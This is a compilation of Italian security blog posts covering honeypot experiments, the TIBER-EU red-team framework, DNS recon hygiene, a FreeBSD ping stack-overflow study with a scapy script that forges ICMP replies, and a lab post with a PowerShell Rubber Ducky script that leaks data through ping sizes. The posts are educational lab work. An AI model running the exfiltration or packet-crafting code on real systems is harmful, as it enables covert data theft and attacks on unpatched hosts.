cyber security, hacking

Honeypot: un piccolo focus tecnico e qualche esperimento

Rocco Sicilia

Altro argomento affascinante che vale la pena approfondire. Il mio interesse su fronte degli honeypot e’ duplice: da un lato – quello blue sono uno strumento che ritengo utile in una strategia di gestione delle minacce cyber, da un altro lato – quello red – sono una trappola da imparare a riconoscere ed aggirare.

Giusto un cenno sulle motivazioni che stanno dietro l’utilizzo di questo strumento. Di base abbiamo due ambiti:

  • Ricerca, vengono utilizzati per analizzare i comportamenti dei threat actor dai big player della cyber sec. al fine di catalogare nuove tecniche e mogliorare la detection dei prodotti di mercato
  • Produzione, vengono utilizzati dalle aziende per intercettare eventuali tentativi di compromissione anche nelle fasi iniziali

Sono entrambi contesti molto interessanti, il mio focus in questo periodo e’ il contesto di produzione e, come ho scritto in questo post, e’ indispensabile per chi approccia questo strumento aver bene in mente che si tratta di qualcosa che va gestito per renderlo utile. Gli honeypot di base espongono dei servizi pensati per attrarre l’attacker che, se ingannato, andra’ a sollecitare il sistema il quale produrra’ un notifica. Queste notifiche devono ovviamente essere trattate esattamente con un security incident, altrimenti il gioco non funziona.

E’ possibile anche spingersi oltre, ad esempio costruendo servizi che consantano all’attacker di interagire cosi’ da leggere anche i comportamenti successivi alla compromossione del sistema come l’installazione di un C2 o i tentativi di lateral movement.

Progetti open souce

Ci sono diversi progetti open source che possiamo prendere in considerazione per “giocare” o anche per mettere in produzione una soluzione custom che non necessiti di decine di honeypot. Opinione mia: se abbiamo intenzione di dotarci di questo strumento valutiamo tra le prime cose l’estensione del progetto prima di scegliere il tipo di soluzione; le soluzione open source attualmente disponibili non prevedono particolari sistemi di gestione centralizzata e sono piu’ indicate per chi dovra’ gestire un numeno non alto di items.

Qui un elenco di alcuni honeypot dai cui puo’ aver senso iniziare: https://github.com/paralax/awesome-honeypots. Nel lavoratorio che sto attrezzando ne utilizzero’ alcuni per studiarne il comportamento. Cito anche due progetti molto strutturati per chi ha esigenze, a mio parere, piu’ di ricerca che di detection:

Soluzioni di mercato

I vendor si sono ovviamente mossi anche in questa direzione e propongono per lo piu’ soluzioni che sono in grado di distribuire e gestire honeypot configurabili. E’ abbastanza evidente, alcmeno per me, che si tratta di soluzioni particolarmente calzanti per chi deve “seminare” diversi honeypot nelle proprie reti. Qui un elenco non completo di soluzioni di mercato: https://www.g2.com/categories/deception-technology.

Laboratorio di base

Giochiamo un po’ con un piccolo laboratorio costituito da una semplice VM linux che espone unicamente il servizio SSH “reale” (che non prendiamo di mira) e proviamo a dotarla di un po’ di elementi tipici di un honeypot. Il contesto del mio studio e’ l’ambiente enterprise con esigenze di detection, non la Threat Intelligence.

Come primo esperimento ho deciso di simulare un servizio molto semplice e credo abbastanza appetibile: telnet. Per diverse ragioni il servizio viene spesso preso di mira: solitamente lo si trova in uso in sistemi relativamente datati dove e’ plausibile supporre ci siano delle falle da sfruttare, se non in remoto almeno localmente.

Mi sono fatto dare una mano dalla libreria socket di Python 3. Il funzionamento di base e’ semplice: una socket aperta sulla porta TCP 23, un loop per ricevere i dati dal client e dare degli output lato server. Come primo esperimento il risultato non e’ pessimo ma ci sono dei dettagli al codice che vanno migliorati. Di base lo script simula il comportamento di una sessione telnet: presenta un banner e chiede una credenziale. Ogni tentativo di connessione e di inserimento dati viene riportato in un log. Anche una sollecitazione non prevista come una scansione registra il tentativo di accesso al servizio:

scan con flag -sT e -sS

Da notare che una SYN scan non viene rilevata in questa versione del programma: utilizzando la libreria socket per avviare un servizio in TCP la sessione viene instaurata sono al termine di tutto il processo di handshake, in questo caso non c’è nessuna sollecitazione a parte il primo SYN e di sconseguenza non c’è tracciamento alcuno.

Come accennavo uno degli obiettivi del lab è cercare di capire quanto siano riconoscibili gli honeypot. In questo caso la scansione ci da solo informazioni in relazione al fatto che la porta TCP 23 è aperta, per capire qualcosa di più dovremmo dare un’occhiata al traffico che scambiamo con il nostro target. Possiamo usare wireshark per analizzare il traffico e constatare che abbiamo davanti una vera sessione telnet o meno.

Per fare la prova da un punto di vista obiettivo dobbiamo utilizzare wireshark dalla macchina dell’attacker, in questo lab utilizzo una classico Ubuntu 22.10 server come base per l’honeypot ed una Kali Purple (la sto provando in queste settimane) per l’analisi del target. Il comportamento di nmap lo abbiamo gia’ visto: se facciamo una scansione TCP rileviamo il servizio ma ci facciamo anche individuare, passiamo ad analizzare il traffico con una connessione alla socket:

wireshark verso honeypot

La sessione e’ molto semplice, appare esattamente come una sessione TCP sulla porta 23 e dopo il three-way handshake il finto server telnet manda al client il banner di login. Vediamo ora una vera sessione telnet su un altro server linux su cui ho installato il demone:

wireshark verso telnetd

La differenza e’ abbastanza evidente, pur trattandosi di una sessione TCP sulla porta 23 il server telnetd invia diversi dati al client che risponde con altrettante informazioni. Solo alla fine di questo scambio il server invia al client il banner di login.

Ci portiamo a casa che se vogliamo costruire un servizio a media o elevata interazione il dialogo deve necessariamente rispettare il protocollo. Resta comunque vero il fatto che per smascherare la trappola tramite l’analisi del traffico bisogna farla scattare. In contesto enterprise con gli honeypot posizionati all’interno della rete potrebbe essere un NON problema in quanto qualsiasi cosa faccia scattare una trappola interna probabilmente e’ un evento degno di nota.

Un lab un pelo piu’ avanzato (anticipazione)

Usare protocolli come telnet o ssh richede di “ricostruire” la comunicazione per essere credibili. Se ci spostiamo su un protocollo come http il gioco si fa un po’ piu’ interessante. Creare un http server in python anche solo con una socket e’ molto semplice e anche la conversazione tra client e server non e’ nulla di particolarmente complesso. La versione http dell’honeypot potrebbe quindi essere molto piu’ credibile ed interessante.

Ho preparato una p-o-c per http disponibile nella stessa repo della versione telnet: https://github.com/roccosicilia/my-papers/tree/main/poc-honeypot. Nella live di questa sera parto dal server http in python per provare a costruire un servizio ad alta interazione, nella seconda parte di questo post riportero’ gli esiti.

cyber security

TIBER-EU: i team

Rocco Sicilia

Durante la lettura del documento che illustra il framework tutto mi è diventato più chiaro quando sono state mappate le competenze dei team che hanno un ruolo attivo nel processo di testing. Ho quindi pensato di partire dagli attori coinvolti per poi parlare del processo in se.

Per ora è sufficiente sapere che il framework propone una metodologia per eseguire dei test sulla sicurezza dell’organizzazione e questi test hanno la particolarità di simulare, in ogni aspetto, il comportamento di un threat actor. In tal senso la separazione in team è indispensabile in quanto ci sono informazioni che non devono essere distribuite.

Il framework identifica sei stakeholders:

  • il Tiber Cyber Team (TCT) ed il relativo Team Test Manager (TTM)
  • il White Team (WT) ed il relativo White Team Lead (WTL)
  • il Blue Team (BT)
  • il Threat Intelligence (TI) provider
  • il Red Team (RT) provider
  • eventuali agenzie governative di intelligence o enti nazionali attivi sul fronte della cyber security

Partiamo da Tiber Cyber Team che comprende le autorità nazionali che hanno deciso di aderire al fremework e sono responsabili della realizzazione della guida nazionale per l’implementazione dello stesso. In Italia questa competenza è assegnata a tre enti: Banca d’Italia, Consob e IVASS. E’ infatti di loro competenza la stesusa ed il mantenimento del documento Guida nazionale TIBER-IT (che prenderemo in considerazione in futuro) e sono anche il riferimento per tutti i White Team Leads per eventuali richieste di supporto a livello di supervisione.

Il White Team ed il relativo responsabile, denominato White Team Lead, è un gruppo di lavoro interno all’organizzazione che desidera utilizzare il framework. Si tratta del team incaricato di coordinare i test interagendo internamente ed esternamente, è infatti l’interfaccia verso il Threat Intelligence provider ed il Red Team provider. Elemento molto importante: il White Team è l’unico team interno all’ente oggetto dei test a conoscenza dell’attività di verifica. Le informazioni circa i test non devono cincolare all’interno dell’organizzazione in quanto falserebbero l’esito dei controlli.

Il Blue Team è costituito da tutto lo staff dell’organizzazione che non fa parte del White Team. Il framework non identifica il Blue Team con un gruppo specifico in quanto, deduco io, tutta l’organizzazione è potenzialmente interessata e coinvolta in un’azione di contrasto ad un minaccia cyber. Solutamente questa “label” viene data a chi opera attivamente le attività di gestione delle minacce a livello tecnico, in questo caso è l’intera organizzazione che ne fa potenzialmente parte.

Il Threat Intelligence provider ha l’onere di eseguire le attività di Threat Intelligence e di documentare le informazioni prodotte nella forma del Targeted Threat Intelligence Report (spesso abbreviato in TTI Report o TTIR). Con questo report il team identifica i potenziali scenari di attacco per l’organizzazione sulla base delle informazioni raccolte. In questa fase il Threat Intelligence provider collabora in modo molto stretto con il Red Team provider in quanto questa fase operativa si sovrappone alle attività di ricognizione del Red Team.

Il Red Team provider è incaricato di implementare materialmente gli scenari di attacco descritti nel TTI Report. Le attività verranno documentate nel Red Team Test Report con il dettaglio di qualto eseguito, i relativi esiti ed eventuali suggerimenti per migliorare i controlli dell’organizzazione.

Fanno parte degli stakeholders anche eventuali agenzie nazionali di intelligence o cyber security. Su questo fronte non mi avventurerò in approfondimenti.

Non ci sono pochi attori all’opera, è evidente una struttura pensata al fine di rendere realistici i test e mantenere un certo livello di controllo sulle attività. Come ho accennato ad inizio post ho preferito prima chiarire quali sono le figure coinvolte mentre nel prossimo post sul tema TIBER-EU si spostiamo sulla metodologia e vediamo se fasi previste per un test completo.

cyber security, update

OSCP: D2

Rocco Sicilia

Mi rimetto seriamente a studiare per OSCP. Purtroppo c’è questa cosa delle prime lezioni introduttive che per me sono uno scoglio per un motivo stupido… sono proprio le basi e dopo qualche decina d’anni un po’ di cose le impari. Le vivo come un ripassone quindi e devo ammettere che sono un po’ noiose.

Ho provato a trarre qualcosa di buono da queste sessioni: sto raccogliendo gli appunti (molto leggeri) sulla mia repo di GitHub. Con oggi ho chiuso i primi tre capitoli della dispensa “Penetration Testing with Kali Linux”, qui trovate le mie note.

cyber security, podcast

TIBER-*: intro

Rocco Sicilia

Il mondo dell’information security ha con il tempo sviluppato modelli e framework per strutturare molti processi di gestione del rischio cyber. Alcuni sono diventati un punto di riferimento assoluto (vedi NIST o ISO 27001/27002, lascio qui il link una lista con qualche descrizione utile) e spesso vengono adottati anche solo parzialmente o vengo utilizzati come “fonte di ispirazione” dei temi che si occupano della gestione della sicurezza delle informazioni e dei sistemi.

TIBER, che per la cronaca è l’acronimo di Threat Intelligence Based Ethical Red-Teaming, è un altro framework che la ECB (European Central Bank) – che in Italia amiamo tradurre con Banca Centrale Europea o BCE – ha abottado con lo scopo di fornire uno strumento di testing e miglioramento dealla resilienza cybernetica tramite l’esecuzione di simulazioni di attacco. Semplificando all’estremo utilizzo una della mie frasi tipiche: per far saltar fuori il problema devi mettere alla prova l’intera struttura a sollecitazioni reali.

In un certo senso ci stiamo dicendo che i Vulnerability Assessment ed i Penetration Test restano utili e necessari ma non bastano più. O meglio, questa è la conclusione a cui sono giunti gli ideatori del modello qualche anno fa, chi lavora nel settore ne è ben conscio da molto più tempo.

Con questo post vorrei iniziare a raccontare il contenuto del framework “TIBER-EU” e della relativa “Guida Nazionale TIBER-IT” e forse anche qualche elemento della versione tedesca “TIBER-DE”. Inizierei dalla documentazione disponibile e dai cui io stesso ho iniziato, qualche tempo fa, lo studio di questo framework.

documentazione di riferimento

Sul sito della ECB è disponibile una intro al framework con alcune F.A.Q. ma i primi veri documento da prendere in considerazione sono:

Questi documenti danno una buona panoramica del modello a cui è da aggiungere un documento relativo alle Purple Team Best Practice.

Direi che per iniziare è sufficiente questo. Partiremo quindi da come è strutturato il framework per poi andare a vedere nel dettaglio come è stato implementato per l’Italia e, visto che lavorativamente è probabile che che mi capiti, per la Germania. Guarderemo quindi rispettivamente la documentazione relativa alla TIBET-IT ed alla TIBER-DE.

Ai principali documenti citati se ne aggiungo molti alti di approfondimento (alcuni sono citati nello schema allegato) che prenderemo in considerazione strada facendo. Pronti?

Gli obiettivi del framework

Di base la volontà è di fornire un metodo standard e di validità europea agli enti finanziari (ma il modello è estendibile a chiunque) per verificare le capacità di individuazione e gestione delle minacce cyber tramite l’implementazione di security test condotti in modo da simulare scenari di attacco reali. A tal proposito si fa riferimento a due concessi chiave che il framework integra: la Threat Intelligence ed il Red Teaming.

Un framework comune consentirebbe agli enti di utilizzare metriche simili per valutare e riconoscere il livello di resilienza cyber delle varie entità, semplificando le verifiche tra enti di differenti stati e riducendo gli oneri burocratici che deriverebbero dall’utilizzo di modelli divverenti all’interno dell’EU.

Pur proponendo un modello comune il framework consente ai singoli stati/giurisdizioni una certa flessibilità nell’implementazione del modello TIBER. In questo momento gli stati che hanno adottato il framework sono: Belgio, Danimarca, Finlandia, Germania, Irlanda, Italia, Lussenburgo, Olanda, Norvegia, Portogallo, Romania, Spagna e Svezia. Di fatto esistono enti che non operano sul territorio di un singolo stato, anche in questo caso un framework comune aiuterà i grandi gruppi ad implementare test coerenti nonostante il contesto internazionale.

Cosa cambia rispetto alle metodologie già adottate?

La principale evoluzione sta nel prevedere un modello di testing che, a livello europeo, preveda di eseguire delle simulazioni di attacco realistiche i cui esiti, opportunamente descritti nei report, saranno utilizzati per valutare la postura di sicurezza dell’ente. Le attività di Red Teaming non si limitano alla verifica ed allo sfruttamento di una o più falle: vengono eseguite approfondite ricerche sul target per valutare la strategia e le tecniche da utilizzare per l’attacco che potrebbe essere eseguito non solo a livello “digitale”. Il Red Team prende in considerazione anche la possibilità di accedere alle infrastruttura fisicamente ed utilizza tecniche di social engineering per ingannare, se possibile, i membri dell’organizzazione target.

Questa tipologia di test permette di prendere in considerazione molti più aspetti dell’organizzazione in merito alla gestione delle minacce informatiche: competenze, processi, consapevolezza, status dei servizi di detection e prevention, ecc.

Perché ho deciso di scrivere/parlare di questo framework

Mi occupo di sicurezza informatica e molto spesso proprio di Red Teaming, l’argomento è quindi per me molto in focus con ciò che faccio e che già da anni ho decido di condividere tramite il mio personale blog. TIBER porta all’ettenzione delle aziende strutturate un modello e delle metodologie di security test che per molte figure del settore rappresentano al momento l’unico modo per quantificare in modo accurato il rischio cyber e gli impatti correlati a specifici scenari di attacco.

L’argomento forse non è affascianante come un Buffer Overflow ma mi da modo di approfondire e discutere molti aspetti della sicurezza offensiva.

cyber security, hacking

ICMP infostealing: il lab [prima parte]

Rocco Sicilia

Prima una premessa.

Sul piano operativo l’esecuzione di un attacco informatico che ha come obiettivo il furto di dati (Data Breach) diventa più efficace in proporzione alla quantità di informazioni relative al target di cui si può disporre. Alcune di queste informazioni posso essere raccolte grazie a tecniche come OSInt e Social Engeneering, altre possono essere trafugate direttamente dal target tramite delle azioni di ricognizione o attacchi meno rumorosi e progettati con il solo fine di raccogliere maggiorni informazioni sul target.

In questo contesto la possibilità di fare info stealing sul target diventa particolarmente appetibile: l’attacker potrebbe progettare azioni estremamente mirate utilizzando tecniche di data exfiltration per appropriarsi di pochi ma importanti dati da utilizzare in fasi successive dell’attacco.

Come sempre un esempio vale mille parole, ho quindi iniziato a lavorare su un lab per studiare meglio la tecnica. La sintesi di questo piccolo esperimento andrà a comporre un paper dedicato al tema.

Scenario

Partiamo da un obiettivo semplice e concreto: estrarre informazioni dall’interno della rete target avendo la possibilità di accedere fisicamente ad un dispositivo della rete ma per un tempo limitato. I vincoli sono gli stessi che avrebbe un threat actor: ammesso che gli sia possibile accedere ai locali ed arrivare in prossimità di un sistema connesso alla rete (una workstation ad esempio) probabilmente avrà a disposizione relativamente poco tempo per eseguire delle operazioni.

Uno strumento comodo per questo scenario potrebbe essere una Rubber Ducky da collegare per pochi secondo alla macchina target. In questo caso avremmo la possibilità di eseguire qualche comando, limitatamente al tempo a disposizione, per inviarci un po’ di informazioni.

Ovviamente le informazioni dobbiamo mandarle verso un sistema che siamo in grado di governare. In base al metodo di invio delle informazioni dovremo quindi predisporre un server che riceva i dati e ci permetta di visualizzare quanto raccolto.

ipotesi di scenario

Per il nostro lab. ho scelto come “canale” ICMP. E’ una spece di sfida personale: in condizioni operative (parliamo quindi di Red Teaming o attività relative a Pen Testing) utilizzo canali un po’ più usabili ma mi sono sempre chiesto fino a quanto potevo spingermi con ICMP. Il nostro server dovrà quindi ricevere pacchetti ICMP e per l’occasione utillizzerò il collaudatissimo scapy. Avremo quindi un piccolo python script che riceverà le sequenze ICMP e ricomporrà il messaggio.

La parte della costruzione del messaggio e della sua ricomposizione è l’unica che presenta una reale complessità (se così si può dire) in quanto va aggirato il fatto che il comando PING in ambienti Microsoft non consente di inserire un messaggio o un testo nel payload. L’unica variazione che possiamo permetterci è la dimensione del buffer.

L’idea è quindi quella di far corrispondere ad ogni carattere dell’output del comando un valore decimale che rappresenti il corrispettivo “DECIMALE” del carattere. Quindi il messaggio “AAAA” dovrà produrre quattro ping con dimensione del buffer 65 byte. Lo script che riceve i quattro ping dovrà prendere la seguenza di byte e ricomporla a formare il messaggio.

Aggiungiamo un po’ di complessità: non mi piace particolarmente mandare il messaggio completamente in chiaro. Potrebbe essere relativamente semplice da “leggere”. Prima di inviarlo eseguiamo un encode in base64 e di conseguenza inviaremo i caratteri della stringa dopo l’encode. Per una demo va più che bene, in un contesto reale potremmo valutare una vera e propria cifratura, il convetto di base è lo stesso.

Demo

Il codice della p-o-c è disponibile nella mia repo e fa parte delle dimostrazioni in ambito C2. L’ho chiamata ping.pong: https://github.com/roccosicilia/my-papers/tree/main/poc-c2/ping.pong.

La demo di compone essenzialmente di due script:

  • pingpong.py è il server ICMP che cattura (usa effetticamente la chiamata sniff) i pacchetti ICMP in ingresso e salva lo stream del messaggio in un file txt
  • readpong.py è uno script che ho voluto tenere separato ricomporre il messaggio in arrivo e presentarlo in modo leggibile

A questi due script si aggiungono i comandi per la Rubber Ducky. Qui spazio alla fantasia, vi lascio comunque una possibile sequenza in formato ps1:

# target host
$ip = "192.168.1.2"
# data to exfil
$MYDATA = $("hostname")

# encode
$base64String = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($MYDATA))
Write-Output $base64String

# reset ping
ping -l 1 -n 1 $ip

# send message by ping
for ($i=0; $i -le $base64String.Length; $i++)
{
    $x = [int[]][char[]]$base64String[$i]
    ping -l $x -n 1 $ip
    Start-Sleep -Milliseconds 500
}

Un piccolo video dimostrativo:

L’argomento, nonostante sia tecnicamente semplice, ha richiesto un po’ di studio e test che ho in parte fatto live sul canale Twitch. Sto preparando una sintesi delle sessioni live e questa sera (27 aprile 2023) ci sarà una nuova sessione dedicata ai progressi ottenuti ed a qualche nuovo test.

cyber security, hacking

Prendetevi cura della vostra zona DNS

Rocco Sicilia

Per vari motivi sto riprendendo in mano varie tecniche di “ricognizione” nei confronti di un potenziale target ed è sorprendente quante informazioni vengano lasciate a disposizione di chiunque per banale mancanza di manutenzione.

Oggi è stato il turno delle zone DNS, elemento interessante per un’attacker in quanto avere a disposizione un elenco di domain e subdomain rappresenta un ottimo punto di partenza per comprendere parte del perimetro del target.

Facciamo una prova? Da una kali potete utilizzare uno dei tanti tools di enumeration:

-- amass enum -passive -d roccosicilia.com

Otterrete l’elenco di ciò che è configurato a livello di zona per il dominio indicato. Il mio dominio ha ovviamente poco essendo utilizzato esclusivamente per questo blog, ma se fate la prova sul vostro dominio corporate sono abbastanza certo che il risultato sarà più interessante.

Possono sembrare informazioni assolutamente innocenti, dopo tutto questi record sono stati creati appositamente per essere utilizzabili dagli utenti che desiderano accedere ad un sistema. Il problema infatti non si riferisce a ciò che è in uso dall’organizzazione ma a ciò che è in uso solo internamente o non più utilizzato e dimenticato.

Non è raro trovare subdomain che si riferiscono a sistemi di test – spesso dimenticati – o a sistemi in una fase di staging che espongono elementi di debugging dell’applicazione (trovati tantissimi in queste condizioni). Arricchendo un po’ il risultato si possono ottenere informazioni aggiuntive sui provider in uso per i vari domini così da mappare qualche fornitore o collaboratore. Aggregando un po’ di dati pubblici il risultato diventa parecchio interessante.

un mio test di aggregazione dati (script sul mio GitHub)

Un altro elemento da non sottovalutare è la tendenza, non diffusissima, a dare un nome dominio pubblico ad asset infrastrutturali come alcuni elementi di perimetro: il firewall, i router del provider o i proprio BGP router. Sono elementi che un attacker potrebbe individuare in molti modi più o meno complessi, se gli viene assegnato un record DNS ovviamente è un po’ più facile.

La pratica di per se non è una cattiva idea, personalmente la trovo utile dal punto di vista della gestione IT ma potrebbe essere fatto su un nome dominio “di servizio” così da evitare di rendere questi asset immediatamente individuabili. Lo stesso principio vale per i sistemi non in esercizio: perché pubblicare le informazioni sulla zona dove ci sono i record dei servizi attivi quando possiamo parcheggiarli in una zona di servizio sconosciuta. Ovviamente questo accorgimento non renderà questi host invisibili, sarà però necessaria qualche azione in più per identificarli ed associarli al perimetro del target.

Nella mia repo GitHub ho messo a disposizione uno script che sto sistemando per aggregare dati provenienti da diverse fonti pubbliche, utile per chi lavora in ambito Penetration Testing e Red Teaming ma altrettanto utile per chi vuole farsi un veloce self-check: https://github.com/roccosicilia/my-papers/blob/main/poc-recon/SubDomainDiscovery.py. Lo script è in continua evoluzione quindi occhio alle note in cima.

Qualche suggerimento per ridurre il perimetro osservabile:

  • banalmente pulite i record non più in uso, il DNS è un asset e va gestito come qualsiasi altro asset dell’organizzazione;
  • utilizzate zone di servizio per scopi infrastrutturali;
  • valutate cosa potete mettere dietro ad un proxy o ad un WAF in cloud;

Il principio è quello del tenere visibile solo lo stretto necessario evitando di regalare qualche appiglio a chi utilizzerebbe queste informazioni per affinare una strategia di attacco.

cyber security, hacking

Studio della vuln. CVE-2022-23093 [seconda parte]

Rocco Sicilia

Come promesso torno sulla CVE con gli esiti dei test che ho fatto: mi ero ripromesso di dedicarci una paio di sessioni e così ho fatto.

Rimanendo praticamente sullo stesso “impianto” di laboratorio presentato nella prima parte ho fatto diverse prove di formattazione di una risposta ICMP il cui contenuto fosse modificato. In particolare ho mantenuto la linea della risposta “Destination Unreachable” inizialmente modificando il payload nella risposta e successivamente formattando una risposta “pulita” ma inserendo nel messaggio di origine un contenuto arbitrario (la solita stringa “AAAA…”).

Per l’invio del ping “modificato” ho utilizzato il seguente comando:

-- ping -c 1 -s 1016 -p "41414141" 1.3.3.7

Non ho ottenuto particolari risultati con scapy ne con l’opzione -p di ping: la risposta veniva correttamente inviata alla macchina FreeBSD e la funzione pr_pack() veniva effettivamente chiamata, ma non sono riuscito ad ottenere comportamenti anomali.

debugging di ping.c

A differenza di quanto ottenuto in un altri contesti (rif. al mio precedente post) la dimensione di hlen in questo scenario resta di 20 bytes. Evidentemente, nonostante l’errore generato mi sembri corretto, non si verificano le condizioni per cui il programma va a ricostruire il pacchetto utilizzando i dati “raw” del pacchetto che ha generato l’errore.

Nel frattempo mi sono ricordato di un check che avrei duvoto fare all’inizio del test: ho appurato che di default ping.c viene compilato con le opzioni di protezione dello stack attive, ne possiamo desumere che la sfruttabilità dell’overflow è quindi molto bassa.

verifica della presenza della protezione dello stack

Una ultima prova che potrebbe aver senso fare (lo ho scritto poco fa anche sul canale telegram) è tentare un fuzzing con scapy, ovviamente dopo aver ricompilato ping.c con le protezioni dello stack disabilitate.

Io mi fermo qui 😉

hacking

Studio della vuln. CVE-2022-23093 [prima parte]

Rocco Sicilia

Qualche giorno fa, durante una live, mi e’ stata ricordata la CVE in oggetto che interessa i sistemi FreeBSD e su cui avevo un po’ riflettuto a livello di potenziale offensivo. La CVE mi era tornata alla mente anche a seguito di una recente vulnerabilita’ che ha interessato l’implementazione di ICMP sui sistemi Microsoft (CVE-2023-23415). Le due vulnerabilita’ sono molto diverse tra loro: lato FreeBSD e’ l’utility “ping” a presentare la falla mentre lato Windows il problema sembra essere relativo ad una funzione della componente ICMP. Mi e’ venuta voglia di approfondire per capire meglio di cosa si tratta: analizzare e studiare le CVE e’, a mio parere, un ottimo esercizio in ambito cyber sec. E poi come resistere al fascino di uno stack overflow 🙂

Al di la della tipologia di vulnerabilita’, di per se interessante, vi e’ un altro elemento piu’ strategico che interessa il bug: FreeBSD, pur avendo un livello di diffusione non elevato, e’ alla base di molte appliance di vario tipo tra cui Firewall e Storage System come il mitico NetApp. Questo rende la vulnerabilita’ ancora piu’ interessante.

Preparazione del lab

Prima cosa da fare e’ documentarsi per valutare come riprodurre un ambiente vulnerabile su cui eseguire i test. L’advisory di FreeBSD stessa espone le versioni a cui a novembre e’ stata applicata la patch:

  • 2022-11-29 stable/13, 13.1-STABLE)
  • 2022-11-29 releng/13.1, 13.1-RELEASE-p5)
  • 2022-11-29 stable/12, 12.4-STABLE)
  • 2022-11-29 releng/12.4, 12.4-RC2-p2)
  • 2022-11-29 releng/12.3, 12.3-RELEASE-p10)

Un primo test lo ho condotto su una FreeBSD 11.4 con ultimo aggiornamento (della ISO) il 12 giugno 2020, teoricamente e’ quindi presente la vulnerabilita’. Purtroppo ho riscontrato diversi fastidi dovuti all’assenza delle repository. Versione troppo datata.

Ho ripiegato sulla release 12.2. In questo periodo il mio home-lab e’ un po’ sottosopra a causa di vari cambi di architettura, ad ogni modo ho preparato una VM amd64 su una installazione di Oracle VirtualBox.

Trovate le ISO qui: http://ftp-archive.freebsd.org/pub/FreeBSD-Archive/old-releases/amd64/.

installazione di freebsd

Una volta installata la macchina mi sono limitato a configurare l’accesso SSH per root ed installare il debugger gdb.

Avere a disposizione la macchina ci consente inoltre di scaricare i sorgenti dell’utility che presenta la vulnerabilita’: possiamo scaricarci integralmente la repository della distibuzione.

root@freebsd-12:~ # svnlite checkout https://svn.freebsd.org/base/releng/12.2 /usr/src

Una volta ottenuto il sorgente possiamo verificare nel path /usr/src/sbin/ping/ la presenza dei sorgenti di notro interesse:

ping.c

Ora che abbiamo la nostra base possiamo dedicarci un po’ allo studio della vulnerabilita’ partendo dalla documentazione a disposizione e da quanto reperibile in rete.

Raccolta delle informazione

L’advisory in oggetto e’ stata pubblicato il 29 novembre 2022, quindi quattro mesi fa rispetto alla pubblicazione di questo post. Nell’analisi partiamo proprio da questo documento disponibile qui: https://www.freebsd.org/security/advisories/FreeBSD-SA-22:15.ping.asc.

Al punto II troviamo la descrizione dell’errore che provo qui a sintetizzare. Il programma ping riceve e legge i pacchetti per elaborare la risposta tramite la funzione pr_pack(). Per eseguire questa elaborazione viene ricostruito il dato utilizzando l’IP header, l’ICMP header e, in caso di ICMP error, il QUOTED PACKET che ha generato l’errore. Visto che abbiamo a disposizione il sorgente del programma ping.c possiamo dare un occhio alla funzione per capire meglio di cosa si tratta.

La funzione la si puo’ trovare alla linea 1118 del sorgente di ping.c (sempre con riferimento alla versione 12.2 di FreeBSD) e da qui possiamo iniziare ad analizzare il comportamento del codice.

Partiamo dalle variabili che arrivano alla funzione:

pr_pack(char *buf, ssize_t cc, struct sockaddr_in *from, struct timespec *tv)

dove troviamo:

  • il buffer buf che contiene il pacchetto IP ricevuto in rispota dal comando ping
  • la lunghessa cc del pacchetto
  • l’indirizzo IP from della macchina che ha inviato il pacchetto
  • il tempo tv di arrivo del pacchetto

Subito dopo la dichiarazione delle variabili della funzione troviamo una porzione di codice che la patch va a modificare in parte:

1140         memcpy(&l, buf, sizeof(l));
1141         hlen = (l & 0x0f) << 2;
1142         memcpy(&ip, buf, hlen);

In parole povere il contenuto di buf, contenente il pacchetto IP ricevuto in risposta dal comando ping, viene copiato nella variabile l, viene poi calcolata la lunghezza hlen dell’IP header e quindi copiati hlen byte di buf nella variabile IP.

Come si vede meglio dalle modifiche della patch rilasciata il problema si annida proprio in questa ultima memcpy: se il contenuto del pacchetto IP in risposta fosse opportunamente modificato e’ teoricamente possibile utilizzare la lunghezza dei dati inseriti in buf per ottenere un overflow. L’attacker dovrebbe prima intercettare le richiesta ICPM (un ping dalla macchina target) e rispondere con un errore opportunamente modificato. Non impossibile ma decisamente non semplice.

Ho trovato molto utile quanto riportato in post di archcloudlabs.com dove viene proposto di modificare, utilizzando un debuger, il contenuto delle variabili per ottenere “artificialmente” l’overflow del buffer. Ho trovato il test molto interessante e utile da replicare.

Predisposizione debug del comportamento della funzione

Per poter eseguire il debug del nostro binary dobbiamo necessariamente ricompilare l’eseguibile con gli opportuni flag e anvendo i sorgenti a disposizione non si tratta di una operazione complessa.

opzione -g aggiunta nel MakeFile di ping.c

Se tutto in ordine con due comandi facili (make, make install) dovremmo ottenere in nostro nuovo binary di ping.

Il passo successivo e’ fare in modo di ottenere una risposta da noi gestibile, nel post citato precedentemente si fa riferimento ad uno script in scapy ed e’ proprio quello che avrei fatto anche io, ne abbiamo parlato priprio nella live del 31 marzo… scapy mi piace sempre di piu’.

Qui la prima versione dello script che si occupa di intercettare il pacchetto ICMP e rispondere con un pacchetto da noi opportunamente generato:

#!/usr/bin/env python
from scapy.all import *

def reply_ping(packet):
    if packet.haslayer(ICMP) and packet[ICMP].type == 8:
        eth = packet[Ether]
        ip = packet[IP]
        icmp = packet[ICMP]

        payload = [
		b'\x86\x28',
		b'\x41'*20
	]
        payload = b''.join(payload)


        reply = Ether(src=eth.dst, dst=eth.src)/IP(src=ip.dst, dst=ip.src, ihl=6, options=IPOption(payload))/ICMP(type=3, code=0)/icmp[ICMP].payload
        sendp(reply, iface='eth0')

        print('Invio risposta ICMP ping')

sniff(filter="icmp and icmp[icmptype] == icmp-echo", prn=reply_ping)

Dovrei in questo modo ottenere una risposta type=3 (Destination Unreachable) con la possibilita’ di manipolare il contenuto di IPOption, ovvero la parte di dati che, a quanto ho compreso dal codice di ping.c a dall’advisory, dovrebbe essere passata al buffer che presenta la vulnerabilita’.

Per garantirci una buona visibilita’ su cio’ che sta accadendo e’ comodo predisporre lo script su una macchina dove possiamo disporre anche di Wireshark. Nel mio lab ho utilizzato come macchina di destinazione una semplice kali che simulera’ la macchina dell’attacker in questo contesto.

lo script in ascolto

Lato Wireshark e’ sufficiente filtrare i pacchetti ICMP in arrivo sulla NIC della macchina, visto che saremo solo noi ad eseguire dei ping verso il sistema non avremo problemi ad identificare i pacchetti di nostro interesse.

Rispetto ad un normale ping quello che dobbiamo ottenere e’ una risposta che contenga il nostro payload. Il primo esperimento, tutto da perfezionare, ha ottenuto quanto segue:

cattura del pacchetto modificato

Il payload e’ presente nel pacchetto ma evidentemente la risposta richiede qualche ritocco. Nei prossimi giorni lavorero’ in modo specifico sulla rispsta dalla richiesta ICMP ed al debug del codice di ping.c ricompilato cosi’ da verificare anche cosa avviene a livello di sistema.

